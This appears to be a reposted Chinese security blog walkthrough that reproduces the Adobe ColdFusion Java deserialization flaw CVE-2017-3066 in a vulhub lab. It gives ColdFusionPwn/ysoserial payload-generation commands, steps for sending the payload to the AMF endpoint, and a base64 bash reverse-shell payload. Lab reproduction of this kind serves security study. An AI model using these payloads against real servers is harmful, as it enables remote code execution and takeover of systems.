漏洞介绍
产品介绍
Adobe ColdFusion 是一个全面且功能强大的服务器端应用程序开发语言和平台。它适用于快速开发、跨平台的 Web 应用程序,并提供了丰富的工具和库来简化开发过程
漏洞介绍
Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。
Adobe ColdFusion 主要应用于以下几个方面:
-
• 网站开发
-
• 企业应用程序
-
• 数据驱动的应用程序
-
• Web 服务和 API
-
• 快速原型开发
产品官网: https://helpx.adobe.com/cn/coldfusion/get-started.html
鹰图语法
app.name=="Adobe ColdFusion"
高危历史漏洞
CVE-2023-38204,CVE-2023-38203,CVE-2023-29300,CVE-2023-26360,
CVE-2022-35712,CVE-2022-35690,CVE-2020-3794,CVE-2019-8256,
CVE-2019-8074,CVE-2019-8073,CVE-2019-7840,CVE-2019-7838,
CVE-2019-7839,CVE-2019-7816,CVE-2019-7091,CVE-2018-15958,
CVE-2018-15959,CVE-2018-15957,CVE-2018-15961,CVE-2018-15965,
CVE-2018-4939,CVE-2017-11283,CVE-2017-11284,CVE-2017-3066,
CVE-2016-1114,CVE-2013-0632
参考链接:
https://codewhitesec.blogspot.com.au/2018/03/exploiting-adobe-coldfusion.html
https://www.exploit-db.com/exploits/43993
https://github.com/codewhitesec/ColdFusionPwn
环境搭建
这个漏洞有一个坑就是用新版本的burp大概率复现不成功(后文已解决这个问题),网上看了很多文章,终于复现成功,赶紧记录下来
漏洞环境使用vulhub搭建,启动环境
cd /vulhub/coldfusion/CVE-2017-3066/
docker compose up -d
等待数分钟时间,环境启动成功,访问http://your-ip:8500/CFIDE/administrator/index.cfm
,输入密码vulhub
,即可成功安装Adobe ColdFusion
漏洞复现
利用postman复现
需要利用ColdFusionPwn这个工具生成poc
工具链接: https://github.com/codewhitesec/ColdFusionPwn
ps:测试发现只有在Linux环境下才能正常运行,Windows会报错
这段是vulhub上生成poc的代码
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
这段是网上看的别人的执行方法,用这个比较方便
wget https://github.com/codewhitesec/ColdFusionPwn/releases/download/0.0.1/ColdFusionPwn-0.0.1-SNAPSHOT-all.jar
mv ColdFusionPwn-0.0.1-SNAPSHOT-all.jar ColdFusionPwn.jar
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
mv ysoserial-master-SNAPSHOT.jar ysoserial.jar
java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/CVE-2017-3066_is_success' poc.ser
访问http://your-ip:8500/flex2gateway/amf
,利用bp进行抓包,注意文件类型修改为Content-Type: application/x-amf
,修改为POST请求
在bp空白处右键,Paste from file ,导入刚才生成的poc.ser
经过测试,这样是不能执行成功的,因为新版的的burp suite的问题
这里要用postman
postman下载地址,下载完成后安装即可
https://www.postman.com/downloads/
配置postman代理,将postman 流量代理到burp上
按如下流程
点击send
这时候bp收到流量,发送即可 (当然,你直接postman发送也可以)
返回docker查看结果
反弹shell
base64编码你的shell
编码后的内容贴到your_base64_content位置
java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,your_base64_content}|{base64,-d}|{bash,-i}' poc1.ser
然后重复之前步骤, 发送文件即可
新版burp解决办法
其实burp suite也可以使用,但是需要修改默认的字符集,按照下图所示修改即可
原文始发于微信公众号(不懂安全):Adobe ColdFusion 反序列化漏洞 (CVE-2017-3066)漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论